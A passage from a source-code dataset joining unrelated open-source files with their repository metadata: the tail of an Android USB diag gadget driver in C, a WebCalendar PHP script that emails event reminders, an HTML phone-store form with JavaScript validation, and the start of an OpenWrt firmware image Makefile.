usb_ep_autoconfig(cdev->gadget, &fs_bulk_in_desc); if (!ep) goto fail; ctxt->in = ep; ep->driver_data = ctxt; ep = usb_ep_autoconfig(cdev->gadget, &fs_bulk_out_desc); if (!ep) goto fail; ctxt->out = ep; ep->driver_data = ctxt; /* copy descriptors, and track endpoint copies */ f->descriptors = usb_copy_descriptors(fs_diag_desc); if (!f->descriptors) goto fail; if (gadget_is_dualspeed(c->cdev->gadget)) { hs_bulk_in_desc.bEndpointAddress = fs_bulk_in_desc.bEndpointAddress; hs_bulk_out_desc.bEndpointAddress = fs_bulk_out_desc.bEndpointAddress; /* copy descriptors, and track endpoint copies */ f->hs_descriptors = usb_copy_descriptors(hs_diag_desc); } #if DIAG_XPST if (ctxt == legacyctxt) { misc_register(&htc_diag_device_fops); /*DMrounter*/ misc_register(&diag2arm9_device); ctxt->usb_in_count = ctxt->usb_out_count = 0; ctxt->tx_count = ctxt->rx_count = 0; driver->diag_smd_count = driver->diag_qdsp_count = 0; } #endif return 0; fail: if (ctxt->out) ctxt->out->driver_data = NULL; if (ctxt->in) ctxt->in->driver_data = NULL; return status; } static struct usb_string diag_string_defs[] = { [0].s = "HTC DIAG", [1].s = "HTC 9K DIAG", { } /* end of list */ }; static struct usb_gadget_strings diag_string_table = { .language = 0x0409, /* en-us */ .strings = diag_string_defs, }; static struct usb_gadget_strings *diag_strings[] = { &diag_string_table, NULL, }; int diag_function_add(struct usb_configuration *c) { struct diag_context *dev; struct usb_diag_ch *_ch; int found = 0, ret; list_for_each_entry(_ch, &usb_diag_ch_list, list) { /* Find an unused channel */ if (!_ch->priv_usb) { found = 1; break; } } if (!found) { ERROR(c->cdev, "unable to get diag usb channel\n"); return -ENODEV; } dev = container_of(_ch, struct diag_context, ch); /* claim the channel for this USB interface */ _ch->priv_usb = dev; ret = usb_string_id(c->cdev); DIAG_DBUG("%s: ret=%d\n", __func__, ret); if (ret < 0) return ret; if (dev == legacyctxt) diag_string_defs[0].id = ret; else diag_string_defs[1].id = ret; intf_desc.iInterface = ret; dev->cdev = c->cdev; dev->function.name = _ch->name; dev->function.strings = diag_strings; dev->function.descriptors = fs_diag_desc; dev->function.hs_descriptors = hs_diag_desc; dev->function.bind = diag_function_bind; dev->function.unbind = diag_function_unbind; dev->function.set_alt = diag_function_set_alt; dev->function.disable = diag_function_disable; spin_lock_init(&dev->lock); INIT_LIST_HEAD(&dev->read_pool); INIT_LIST_HEAD(&dev->write_pool); INIT_WORK(&dev->config_work, usb_config_work_func); dev->function.hidden = !_context.function_enable; #if defined(CONFIG_MACH_MECHA) /*for internal hub*/ smsc251x_set_diag_boot_flag(_context.function_enable); #endif #if DIAG_XPST if (dev == legacyctxt) { spin_lock_init(&dev->req_lock); mutex_init(&dev->user_lock); INIT_LIST_HEAD(&dev->rx_req_user); INIT_LIST_HEAD(&dev->rx_req_idle); init_waitqueue_head(&dev->read_wq); INIT_LIST_HEAD(&dev->rx_arm9_idle); INIT_LIST_HEAD(&dev->rx_arm9_done); init_waitqueue_head(&dev->read_arm9_wq); mutex_init(&dev->diag2arm9_lock); mutex_init(&dev->diag2arm9_read_lock); mutex_init(&dev->diag2arm9_write_lock); } #endif DIAG_DBUG("%s: dev->function.hidden =%d\n", __func__, dev->function.hidden ); ret = usb_add_function(c, &dev->function); if (ret) { INFO(c->cdev, "usb_add_function failed\n"); _ch->priv_usb = NULL; } return ret; } static int diag2sd_probe(struct platform_device *pdev) { struct diag2sd_platform_data *pdata = pdev->dev.platform_data; DIAG_DBUG("%s: \n", __func__); if (pdata->enable_sd_log) driver->enable_sd_log = pdata->enable_sd_log; return 0; } static struct platform_driver diag2sd_platform_driver = { .driver = { .name = "diag2sd", }, .probe = diag2sd_probe, }; static int __init usb_diag_init(void) { struct diag_context *dev; struct android_usb_function *func; DIAG_DBUG("%s: \n", __func__); dev = container_of(legacych, struct diag_context, ch); func = &dev->android_function; func->name = DIAG_LEGACY; func->bind_config = diag_function_add; android_register_function(func); #if defined(CONFIG_USB_ANDROID_LTE_DIAG) dev = container_of(mdmch, struct diag_context, ch); func = &dev->android_function; func->name = DIAG_MDM; func->bind_config = diag_function_add; android_register_function(func); #endif platform_driver_register(&diag2sd_platform_driver); return 0; } module_init(usb_diag_init); MODULE_LICENSE("GPL v2"); MODULE_DESCRIPTION("usb diag gadget driver"); MODULE_VERSION("2.00"); static int diag_set_enabled(const char *val, struct kernel_param *kp) { int enabled = simple_strtol(val, NULL, 0); DIAG_INFO("%s: %d\n", __func__, enabled); if (_context.cdev) { #if defined(CONFIG_USB_ANDROID_LTE_DIAG) android_enable_function(&mdmctxt->function, enabled); #endif android_enable_function(&_context.function, enabled); diag_smd_enable(driver->ch, "diag_set_enabled", !!enabled); } else { #if defined(CONFIG_MACH_MECHA) sdio_diag_init_enable = !enabled; DIAG_INFO("%s: sdio_diag_init_enable=%d\n", __func__, enabled); #elif defined(CONFIG_USB_ANDROID_LTE_DIAG) diag_init_enabled_state = !!enabled; #endif } _context.function_enable = !!enabled; return 0; } static int diag_get_enabled(char *buffer, struct kernel_param *kp) { buffer[0] = '0' + !_context.function.hidden; return 1; } module_param_call(enabled, diag_set_enabled, diag_get_enabled, NULL, 0664); static int show_diag_xfer_count(char *buffer, struct kernel_param *kp) { struct diag_context *ctxt = &_context; ctxt->rx_count = driver->diag_smd_count + driver->diag_qdsp_count; /* return sprintf(buffer, "tx: %llu bytes, rx: %llu bytes", ctxt->tx_count, ctxt->rx_count);*/ return sprintf(buffer, "tx_count: %llu, rx_count: %llu\n", ctxt->tx_count, ctxt->rx_count); } module_param_call(diag_xfer_count, NULL, show_diag_xfer_count, NULL, 0444); static int diag_get_usb_inout_count(char *buffer, struct kernel_param *kp) { struct diag_context *ctxt = &_context; return sprintf(buffer, "FromPC: %llu bytes, ToPC: %llu bytes", ctxt->usb_out_count, ctxt->usb_in_count); } module_param_call(usb_inout_count, NULL, diag_get_usb_inout_count, NULL, 0444);
d8ahazard/AngryDragon-Source
drivers/usb/gadget/f_diag.c
C
gpl-2.0
57,055
<?php # # This file is part of the OpenLink Software Virtuoso Open-Source (VOS) # project. # # Copyright (C) 1998-2014 OpenLink Software # # This project is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation; only version 2 of the License, dated June 1991. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # ?> #!/usr/local/bin/php -q <?php // This script should be setup to run periodically on your system. // You could run it once every minute, but every 5-15 minutes should be // sufficient. // // To set this up in cron, add a line like the following in your crontab // to run it every 10 minutes: // 1,11,21,31,41,51 * * * * /some/patch/here/send_reminders.ph // (of course change the path to where this script lives!) // On Linux, just type crontab -e to edit your crontab. // // If you're a Windows user, you'll either need to find a cron clone // for Windows (they're out there) or come up with another creative // solution. // // You will need PHP build as a CGI (rather than an Apache module) for // this script to work. I install PHP as an Apache module and then // build the CGI version later (without Apache). The module version // of PHP is preferred for use in a web server. // How many days in advance can a reminder be sent (max) // this will affect performance, but keep in mind that someone may enter // a reminder to be sent 60 days in advance or they may enter a specific // date for a reminder to be sent that is more than 30 days before the // event's date. If you're only running this once an hour or less often, // then you could certainly change this to look a whole 365 days ahead. $DAYS_IN_ADVANCE = 30; //$DAYS_IN_ADVANCE = 365; // Load include files. // If you have moved this script out of the WebCalendar directory, // which you probably should do since it would be better for security // reasons, you would need to change $includedir to point to the // webcalendar include directory. $basedir = ".."; // points to the base WebCalendar directory relative to // current working directory $includedir = "../includes"; include "$includedir/config.php"; include "$includedir/php-dbi.php"; include "$includedir/functions.php"; include "$includedir/$user_inc"; include "$includedir/site_extras.php"; $debug = false; // set to true to print debug info... $only_testing = false; // act like we're sending, but don't send -- for debugging // Establish a database connection. $c = dbi_connect ( $db_host, $db_login, $db_password, $db_database ); if ( ! $c ) { echo "Error connecting to database: " . dbi_error (); exit; } load_global_settings (); include "$includedir/translate.php"; if ( $debug ) echo "<br>\n"; // Get a list of people who have asked not to receive email $res = dbi_query ( "SELECT cal_login FROM webcal_user_pref " . "WHERE cal_setting = 'EMAIL_REMINDER' " . "AND cal_value = 'N'" ); $noemail = array (); if ( $res ) { while ( $row = dbi_fetch_row ( $res ) ) { $user = $row[0]; $noemail[$user] = 1; if ( $debug ) echo "User $user does not want email. <br>\n"; } dbi_free_result ( $res ); } // Get a list of the email users in the system. // They must also have an email address. Otherwise, we can't // send them mail, so what's the point? $allusers = user_get_users (); for ( $i = 0; $i < count ( $allusers ); $i++ ) { $names[$allusers[$i]['cal_login']] = $allusers[$i]['cal_fullname']; $emails[$allusers[$i]['cal_login']] = $allusers[$i]['cal_email']; } // Get all users language settings. $res = dbi_query ( "SELECT cal_login, cal_value FROM webcal_user_pref " . "WHERE cal_setting = 'LANGUAGE'" ); $languages = array (); if ( $res ) { while ( $row = dbi_fetch_row ( $res ) ) { $user = $row[0]; $user_lang = $row[1]; $languages[$user] = $user_lang; if ( $debug ) echo "Language for $user is \"$user_lang\" <br>\n"; } dbi_free_result ( $res ); } // Get all users timezone settings. $res = dbi_query ( "SELECT cal_login, cal_value FROM webcal_user_pref " . "WHERE cal_setting = 'TZ_OFFSET'" ); $tzoffset = array (); if ( $res ) { while ( $row = dbi_fetch_row ( $res ) ) { $user = $row[0]; $user_tzoffset = $row[1]; $tzoffset[$user] = $user_tzoffset; if ( $debug ) echo "TZ OFFSET for $user is \"$user_tzoffset\" <br>\n"; } dbi_free_result ( $res ); } // Now read events all the repeating events (for all users) $repeated_events = read_repeated_events ( "" ); // Read non-repeating events (for all users) $startdate = date ( "Ymd" ); $enddate = date ( "Ymd", time() + ( $DAYS_IN_ADVANCE * 24 * 3600 ) ); if ( $debug ) echo "Checking for events from date $startdate to date $enddate <br>\n"; $events = read_events ( "", $startdate, $enddate ); if ( $debug ) echo "Found " . count ( $events ) . " events in time range. <br>\n"; function indent ( $str ) { return " " . str_replace ( "\n", "\n ", $str ); } // Send a reminder for a single event for a single day to all // participants in the event. // Send to participants who have accepted as well as those who have not yet // approved. But, don't send to users how rejected (cal_status='R'). function send_reminder ( $id, $event_date ) { global $names, $emails, $site_extras, $debug, $only_testing, $server_url, $languages, $tzoffset, $application_name; global $EXTRA_TEXT, $EXTRA_MULTILINETEXT, $EXTRA_URL, $EXTRA_DATE, $EXTRA_EMAIL, $EXTRA_USER, $EXTRA_REMINDER, $LANGUAGE, $LOG_REMINDER; $pri[1] = translate("Low"); $pri[2] = translate("Medium"); $pri[3] = translate("High"); // get participants first... $sql = "SELECT cal_login FROM webcal_entry_user " . "WHERE cal_id = $id AND cal_status IN ('A','W') " . "ORDER BY cal_login"; $res = dbi_query ( $sql ); $participants = array (); $num_participants = 0; if ( $res ) { while ( $row = dbi_fetch_row ( $res ) ) { $participants[$num_participants++] = $row[0]; } } // get external participants $ext_participants = array (); $num_ext_participants = 0; if ( ! empty ( $allow_external_users ) && $allow_external_users == "Y" && ! empty ( $external_reminders ) && $external_reminders == "Y" ) { $sql = "SELECT cal_fullname, cal_email FROM webcal_entry_ext_user " . "WHERE cal_id = $id AND cal_email NOT NULL " . "ORDER BY cal_fullname"; $res = dbi_query ( $sql ); if ( $res ) { while ( $row = dbi_fetch_row ( $res ) ) { $ext_participants[$num_ext_participants] = $row[0]; $ext_participants_email[$num_ext_participants++] = $row[1]; } } } if ( ! $num_participants && ! $num_ext_participants ) { if ( $debug ) echo "No participants found for event id: $id <br>\n"; return; } // get event details $res = dbi_query ( "SELECT cal_create_by, cal_date, cal_time, cal_mod_date, " . "cal_mod_time, cal_duration, cal_priority, cal_type, cal_access, " . "cal_name, cal_description FROM webcal_entry WHERE cal_id = $id" ); if ( ! $res ) { echo "Db error: could not find event id $id.\n"; return; } if ( ! ( $row = dbi_fetch_row ( $res ) ) ) { echo "Error: could not find event id $id in database.\n"; return; } // send mail. we send one user at a time so that we can switch // languages between users if needed. $mailusers = array (); $recipients = array (); if ( $single_user == "Y" ) { $mailusers[] = $emails[$single_user_login]; $recipients[] = $single_user_login; } else { for ( $i = 0; $i < count ( $participants ); $i++ ) { if ( strlen ( $emails[$participants[$i]] ) ) { $mailusers[] = $emails[$participants[$i]]; $recipients[] = $participants[$i]; } else { if ( $debug ) echo "No email for user $participants[$i] <br>\n"; } } for ( $i = 0; $i < count ( $ext_participants ); $i++ ) { $mailusers[] = $ext_participants_email[$i]; $recipients[] = $ext_participants[$i]; } } if ( $debug ) echo "Found " . count ( $mailusers ) . " with email addresses <br>\n"; for ( $j = 0; $j < count ( $mailusers ); $j++ ) { $recip = $mailusers[$j]; $user = $participants[$j]; if ( ! empty ( $languages[$user] ) ) $userlang = $languages[$user]; else $userlang = $LANGUAGE; // system default if ( $userlang == "none" ) $userlang = "English-US"; // gotta pick something if ( $debug ) echo "Setting language to \"$userlang\" <br>\n"; reset_language ( $userlang ); // reset timezone setting for current user if ( empty ( $tzoffset[$user] ) ) $GLOBALS["TZ_OFFSET"] = 0; else $GLOBALS["TZ_OFFSET"] = $tzoffset[$user]; $body = translate("This is a reminder for the event detailed below.") . "\n\n"; $create_by = $row[0]; $name = $row[9]; $description = $row[10]; if ( ! empty ( $server_url ) ) $body .= $server_url . "view_entry.php?id=" . $id . "\n\n"; $body .= strtoupper ( $name ) . "\n\n"; $body .= translate("Description") . ":\n"; $body .= indent ( $description ) . "\n"; $body .= translate("Date") . ": " . date_to_str ( $row[1] ) . "\n"; if ( $row[2] >= 0 ) $body .= translate ("Time") . ": " . display_time ( $row[2] ) . "\n"; if ( $row[5] > 0 ) $body .= translate ("Duration") . ": " . $row[5] . " " . translate("minutes") . "\n"; if ( ! $disable_priority_field ) $body .= translate("Priority") . ": " . $pri[$row[6]] . "\n"; if ( ! $disable_access_field ) $body .= translate("Access") . ": " . ( $row[8] == "P" ? translate("Public") : translate("Confidential") ) . "\n"; if ( ! strlen ( $single_user_login ) ) $body .= translate("Created by") . ": " . $row[0] . "\n"; $body .= translate("Updated") . ": " . date_to_str ( $row[3] ) . " " . display_time ( $row[4] ) . "\n"; // site extra fields $extras = get_site_extra_fields ( $id ); for ( $i = 0; $i < count ( $site_extras ); $i++ ) { $extra_name = $site_extras[$i][0]; $extra_descr = $site_extras[$i][1]; $extra_type = $site_extras[$i][2]; if ( $extras[$extra_name]['cal_name'] != "" ) { $body .= translate ( $extra_descr ) . ": "; if ( $extra_type == $EXTRA_DATE ) { $body .= date_to_str ( $extras[$extra_name]['cal_date'] ) . "\n"; } else if ( $extra_type == $EXTRA_MULTILINETEXT ) { $body .= "\n" . indent ( $extras[$extra_name]['cal_data'] ) . "\n"; } else if ( $extra_type == $EXTRA_REMINDER ) { $body .= ( $extras[$extra_name]['cal_remind'] > 0 ? translate("Yes") : translate("No") ) . "\n"; } else { // default method for $EXTRA_URL, $EXTRA_TEXT, etc... $body .= $extras[$extra_name]['cal_data'] . "\n"; } } } if ( $single_user != "Y" && ! $disable_participants_field ) { $body .= translate("Participants") . ":\n"; for ( $i = 0; $i < count ( $participants ); $i++ ) { $body .= " " . $names[$participants[$i]] . "\n"; } for ( $i = 0; $i < count ( $ext_participants ); $i++ ) { $body .= " " . $ext_participants[$i] . " (" . translate("External User") . ")\n"; } } $subject = translate("Reminder") . ": " . $name; if ( strlen ( $GLOBALS["email_fallback_from"] ) ) $extra_hdrs = "From: " . $GLOBALS["email_fallback_from"] . "\n" . "X-Mailer: " . translate($application_name); else $extra_hdrs = "X-Mailer: " . translate($application_name); if ( $debug ) echo "Sending mail to $recip (in $userlang)\n"; if ( $only_testing ) { if ( $debug ) echo "<HR><PRE>To: $recip\nSubject: $subject\n$extra_hdrs\n\n$body\n\n</PRE>\n"; } else { mail ( $recip, $subject, $body, $extra_hdrs ); activity_log ( $id, "system", $user, $LOG_REMINDER, "" ); } } } // keep track of the fact that we send the reminder, so we don't // do it again. function log_reminder ( $id, $name, $event_date ) { global $only_testing; if ( ! $only_testing ) { dbi_query ( "DELETE FROM webcal_reminder_log " . "WHERE cal_id = $id AND cal_name = '$name' " . "AND cal_event_date = $event_date" ); dbi_query ( "INSERT INTO webcal_reminder_log " . "( cal_id, cal_name, cal_event_date, cal_last_sent ) VALUES ( " . "$id, '" . $name . "', $event_date, " . time() . ")" ); } } // Process an event for a single day. Check to see if it has // a reminder, when it needs to be sent and when the last time it // was sent. function process_event ( $id, $name, $event_date, $event_time ) { global $site_extras, $debug, $only_testing; global $EXTRA_REMINDER_WITH_OFFSET, $EXTRA_REMINDER_WITH_DATE; if ( $debug ) printf ( "Event %d: \"%s\" at %s on %s <br>\n", $id, $name, $event_time, $event_date ); // Check to see if this event has any reminders $extras = get_site_extra_fields ( $id ); for ( $j = 0; $j < count ( $site_extras ); $j++ ) { $extra_name = $site_extras[$j][0]; $extra_type = $site_extras[$j][2]; $extra_arg1 = $site_extras[$j][3]; $extra_arg2 = $site_extras[$j][4]; //if ( $debug ) // printf ( " name: %s\n type: %d\n arg1: %s\n arg2: %s\n", // $extra_name, $extra_type, $extra_arg1, $extra_arg2 ); if ( ! empty ( $extras[$extra_name]['cal_remind'] ) ) { if ( $debug ) echo " Reminder set for event. <br>\n"; // how many minutes before event should we send the reminder? $ev_h = (int) ( $event_time / 10000 ); $ev_m = ( $event_time / 100 ) % 100; $ev_year = substr ( $event_date, 0, 4 ); $ev_month = substr ( $event_date, 4, 2 ); $ev_day = substr ( $event_date, 6, 2 ); $event_time = mktime ( $ev_h, $ev_m, 0, $ev_month, $ev_day, $ev_year ); if ( ( $extra_arg2 & $EXTRA_REMINDER_WITH_OFFSET ) > 0 ) { $minsbefore = $extras[$extra_name]['cal_data']; $remind_time = $event_time - ( $minsbefore * 60 ); } else if ( ( $extra_arg2 & $EXTRA_REMINDER_WITH_DATE ) > 0 ) { $rd = $extras[$extra_name]['cal_date']; $r_year = substr ( $rd, 0, 4 ); $r_month = substr ( $rd, 4, 2 ); $r_day = substr ( $rd, 6, 2 ); $remind_time = mktime ( 0, 0, 0, $r_month, $r_day, $r_year ); } else { $minsbefore = $extra_arg1; $remind_time = $event_time - ( $minsbefore * 60 ); } if ( $debug ) echo " Mins Before: $minsbefore <br>\n"; if ( $debug ) { echo " Event time is: " . date ( "m/d/Y H:i", $event_time ) . "<br>\n"; echo " Remind time is: " . date ( "m/d/Y H:i", $remind_time ) . "<br>\n"; } if ( time() > $remind_time ) { // It's later than the remind time. See if one has already been sent $last_sent = 0; $res = dbi_query ( "SELECT MAX(cal_last_sent) FROM " . "webcal_reminder_log WHERE cal_id = " . $id . " AND cal_event_date = $event_date" . " AND cal_name = '" . $extra_name . "'" ); if ( $res ) { if ( $row = dbi_fetch_row ( $res ) ) { $last_sent = $row[0]; } dbi_free_result ( $res ); } if ( $debug ) echo " Last sent on: " . date ( "m/d/Y H:i", $last_sent ) . "<br>\n"; if ( $last_sent < $remind_time ) { // Send a reminder if ( $debug ) echo " SENDING REMINDER! <br>\n"; send_reminder ( $id, $event_date ); // now update the db... log_reminder ( $id, $extra_name, $event_date ); } } } } } $startdate = time(); // today for ( $d = 0; $d < $DAYS_IN_ADVANCE; $d++ ) { $date = date ( "Ymd", time() + ( $d * 24 * 3600 ) ); //echo "Date: $date\n"; // Get non-repeating events for this date. // An event will be included one time for each participant. $ev = get_entries ( "", $date ); // Keep track of duplicates $completed_ids = array ( ); for ( $i = 0; $i < count ( $ev ); $i++ ) { $id = $ev[$i]['cal_id']; if ( ! empty ( $completed_ids[$id] ) ) continue; $completed_ids[$id] = 1; process_event ( $id, $ev[$i]['cal_name'], $date, $ev[$i]['cal_time'] ); } $rep = get_repeating_entries ( "", $date ); for ( $i = 0; $i < count ( $rep ); $i++ ) { $id = $rep[$i]['cal_id']; if ( ! empty ( $completed_ids[$id] ) ) continue; $completed_ids[$id] = 1; process_event ( $id, $rep[$i]['cal_name'], $date, $rep[$i]['cal_time'] ); } } if ( $debug ) echo "Done.<br>\n"; ?>
v7fasttrack/virtuoso-opensource
binsrc/tutorial/hosting/ho_s_30/WebCalendar/tools/send_reminders.php
PHP
gpl-2.0
17,084
<!DOCTYPE html> <html> <head lang="en"> <meta charset="UTF-8"> <title>The Phone Store - Add a phone to the store</title> <script type="text/javascript"> function checkInput() { var flag = true; //id check var id = document.getElementById("form")["id"]; var regex = /^.[0-9]{2}$/ if(!regex.test(id.value)) { id.setAttribute("style", "background-color:red"); flag = false; } else { id.setAttribute("style", "background-color:"); } //model check var model = document.getElementById("form")["model"]; var regex = /^[^\s]/ if(!regex.test(model.value)) { model.setAttribute("style", "background-color:red"); flag = false; } else { model.setAttribute("style", "background-color:"); } //price check var price = document.getElementById("form")["price"]; var regex = /^[0-9]+(\.[0-9]+)?$/ if(!regex.test(price.value) || price.value < 0 || price.value > 5000) { price.setAttribute("style", "background-color:red"); flag = false; } else { price.setAttribute("style", "background-color:"); } if(flag) { document.forms["form"].submit(); } } </script> <link type="text/css" rel="stylesheet" href="style.css"> </head> <body> <a href="index.html" class="navigation">Home</a> <a href="AddPhone.html" class="navigation">Add a phone</a> <a href="SearchPhone.html" class="navigation">search for a phone</a> <a href="DeletePhone.html" class="navigation">delete a phone from the store</a> <a href="ModifyPhone.html" class="navigation">modify a phone in the store</a> <h1>Add a new Phone</h1> <p>Fill the following phone information pleas:</p> <form id="form" method="post" action="AddPhoneToDB.php"> <div><label>Phone ID:</label> <input type="text" name="id"> </div> <div><label>Phone model:</label> <input type="text" name="model"> </div> <div><label>Phone color:</label> <input type="color" name="color"> </div> <div><label>Phone price:</label> <input type="text" name="price"> </div> <div><label>Support touch :</label> <input type="checkbox" name="touch" checked> </div> <div> <input type="button" name = "search" value="add" onclick="checkInput()"> <input type="reset" name = "reset" value="reset"> </div> </form> </body> </html>
fcm2009/PhoneStore
AddPhone.html
HTML
gpl-2.0
2,827
# # Copyright (C) 2008-2011 OpenWrt.org # # This is free software, licensed under the GNU General Public License v2. # See /LICENSE for more information. # include $(TOPDIR)/rules.mk include $(INCLUDE_DIR)/image.mk JFFS2_BLOCKSIZE = 64k 128k 256k define imgname $(BIN_DIR)/$(IMG_PREFIX)-$(2)-$(patsubst jffs2-%,jffs2,$(patsubst squashfs-%,squashfs,$(1))) endef define rootfs_align $(patsubst %-256k,0x40000,$(patsubst %-128k,0x20000,$(patsubst %-64k,0x10000,$(patsubst squashfs-%,0x4,$(1))))) endef define sysupname $(call imgname,$(1),$(2))-sysupgrade.bin endef define factoryname $(call imgname,$(1),$(2))-factory.bin endef COMMA:=, define mkcmdline $(if $(1),board=$(1) )$(if $(2),console=$(2)$(COMMA)$(3)) endef SINGLE_PROFILES:= define SingleProfile define Image/Build/Profile/$(3) $$(call Image/Build/Template/$(2)/$$(1),$(1),$(4),$$(call mkcmdline,$(5),$(6),$(7)),$(8),$(9),$(10),$(11),$(12)) endef SINGLE_PROFILES += $(3) endef define MultiProfile define Image/Build/Profile/$(1) $(foreach p,$(2), $$(call Image/Build/Profile/$p,$$(1)) ) endef endef LOADER_MAKE := $(NO_TRACE_MAKE) -C lzma-loader KDIR=$(KDIR) KDIR_TMP:=$(KDIR)/tmp VMLINUX:=$(BIN_DIR)/$(IMG_PREFIX)-vmlinux UIMAGE:=$(BIN_DIR)/$(IMG_PREFIX)-uImage fs_squash:=squashfs-only fs_64k:=64k fs_64kraw:=64kraw fs_128k:=128k fs_256k:=256k ifeq ($(CONFIG_TARGET_ROOTFS_INITRAMFS),y) fs_squash:=initramfs fs_64k:=initramfs fs_64kraw:=initramfs fs_128k:=initramfs fs_256k:=initramfs VMLINUX:=$(BIN_DIR)/$(IMG_PREFIX)-vmlinux-initramfs UIMAGE:=$(BIN_DIR)/$(IMG_PREFIX)-uImage-initramfs endif define CompressLzma $(STAGING_DIR_HOST)/bin/lzma e $(1) -lc1 -lp2 -pb2 $(3) $(2) endef define PatchKernelLzma cp $(KDIR)/vmlinux $(KDIR_TMP)/vmlinux-$(1) $(STAGING_DIR_HOST)/bin/patch-cmdline $(KDIR_TMP)/vmlinux-$(1) "$(strip $(2))" $(call CompressLzma,$(KDIR_TMP)/vmlinux-$(1),$(KDIR_TMP)/vmlinux-$(1).bin.lzma,$(3)) endef define PatchKernelGzip cp $(KDIR)/vmlinux $(KDIR_TMP)/vmlinux-$(1) $(STAGING_DIR_HOST)/bin/patch-cmdline $(KDIR_TMP)/vmlinux-$(1) "$(strip $(2))" gzip -9 -c $(KDIR_TMP)/vmlinux-$(1) > $(KDIR_TMP)/vmlinux-$(1).bin.gz endef define MkuImage mkimage -A mips -O linux -T kernel -a 0x80060000 -C $(1) $(2) \ -e 0x80060000 -n 'MIPS OpenWrt Linux-$(LINUX_VERSION)' \ -d $(3) $(4) endef define MkuImageLzma $(call PatchKernelLzma,$(1),$(2),$(3)) $(call MkuImage,lzma,,$(KDIR_TMP)/vmlinux-$(1).bin.lzma,$(KDIR_TMP)/vmlinux-$(1).uImage) endef define MkuImageLzma/initramfs $(call PatchKernelLzma,$(1),$(2)) $(call MkuImage,lzma,,$(KDIR_TMP)/vmlinux-$(1).bin.lzma,$(call imgname,initramfs,$(1))-uImage.bin) endef define MkuImageGzip $(call PatchKernelGzip,$(1),$(2)) $(call MkuImage,gzip,,$(KDIR_TMP)/vmlinux-$(1).bin.gz,$(KDIR_TMP)/vmlinux-$(1).uImage) endef define MkuImageGzip/initramfs $(call PatchKernelGzip,$(1),$(2)) $(call MkuImage,gzip,,$(KDIR_TMP)/vmlinux-$(1).bin.gz,$(call imgname,initramfs,$(1))-uImage.bin) endef define MkuImageOKLI $(call MkuImage,lzma,-M 0x4f4b4c49,$(KDIR)/vmlinux.bin.lzma,$(KDIR_TMP)/vmlinux-$(1).okli) endef define CatFiles if [ `stat -c%s "$(1)"` -gt $(2) ]; then \ echo "Warning: $(1) is too big" >&2; \ else if [ `stat -c%s $(3)` -gt $(4) ]; then \ echo "Warning: $(3) is too big" >&2; \ else \ ( dd if=$(1) bs=$(2) conv=sync; dd if=$(3) ) > $(5); \ fi; fi endef define Sysupgrade/KR $(call CatFiles,$(2),$(3),$(KDIR)/root.$(1),$(4),$(call sysupname,$(1),$(5))) endef define Sysupgrade/KRuImage $(call CatFiles,$(KDIR_TMP)/vmlinux-$(2).uImage,$(3),$(KDIR)/root.$(1),$(4),$(call sysupname,$(1),$(2))) endef define Sysupgrade/RKuImage $(call CatFiles,$(KDIR)/root.$(1),$(4),$(KDIR_TMP)/vmlinux-$(2).uImage,$(3),$(call sysupname,$(1),$(2))) endef define Image/BuildLoader -rm -rf $(KDIR)/lzma-loader $(LOADER_MAKE) LOADER=loader-$(1).$(2) KERNEL_CMDLINE="$(3)"\ LZMA_TEXT_START=0x80a00000 LOADADDR=0x80060000 \ LOADER_DATA="$(KDIR)/vmlinux.bin.lzma" BOARD="$(1)" \ compile loader.$(2) endef define Image/BuildLoaderAlone -rm -rf $(KDIR)/lzma-loader $(LOADER_MAKE) LOADER=loader-$(1).$(2) KERNEL_CMDLINE="$(3)" \ LZMA_TEXT_START=0x80a00000 LOADADDR=0x80060000 \ BOARD="$(1)" FLASH_OFFS=$(4) FLASH_MAX=$(5) \ compile loader.$(2) endef define Build/Clean $(LOADER_MAKE) clean endef alfa_ap96_mtdlayout=mtdparts=spi0.0:256k(u-boot)ro,256k(u-boot-env)ro,13312k(rootfs),2048k(kernel),512k(caldata)ro,15360k@0x80000(firmware) alfa_mtdlayout_8M=mtdparts=spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,6144k(rootfs),1600k(kernel),64k(nvram),64k(art)ro,7744k@0x50000(firmware) all0258n_mtdlayout=mtdparts=spi0.0:256k(u-boot),64k(u-boot-env),1024k(kernel),5248k(rootfs),1536k(failsafe),64k(art),6272k@0x50000(firmware) all0315n_mtdlayout=mtdparts=spi0.0:256k(u-boot)ro,256k(u-boot-env),1024k(kernel),12544k(rootfs),2048k(failsafe),256k(art)ro,13568k@0x80000(firmware) ap96_mtdlayout=mtdparts=spi0.0:192k(u-boot)ro,64k(u-boot-env)ro,6144k(rootfs),1728k(kernel),64k(art)ro,7872k@0x40000(firmware) ap113_mtd_layout=mtdparts=spi0.0:64k(u-boot),3008k(rootfs),896k(uImage),64k(NVRAM),64k(ART),3904k@0x10000(firmware) ap121_mtdlayout_2M=mtdparts=spi0.0:64k(u-boot)ro,1216k(rootfs),704k(kernel),64k(art)ro,1920k@0x10000(firmware) ap121_mtdlayout_4M=mtdparts=spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,2752k(rootfs),896k(kernel),64k(nvram),64k(art)ro,3648k@0x50000(firmware) ap132_mtdlayout=mtdparts=spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,1408k(kernel),6400k(rootfs),64k(art),7808k@0x50000(firmware) ap135_mtdlayout=mtdparts=spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,14528k(rootfs),1408k(kernel),64k(mib0),64k(art)ro,7744k@0x50000(firmware) ap136_mtdlayout=mtdparts=spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,6336k(rootfs),1408k(kernel),64k(mib0),64k(art)ro,7744k@0x50000(firmware) cameo7240_mtdlayout=mtdparts=spi0.0:192k(u-boot)ro,64k(nvram)ro,1024k(kernel),2688k(rootfs),64k(mac)ro,64k(art)ro,3712k@0x40000(firmware) cameo913x_mtdlayout=mtdparts=spi0.0:128k(u-boot)ro,64k(config)ro,1024k(kernel),2752k(rootfs),64k(art)ro,3840k@0x30000(firmware) 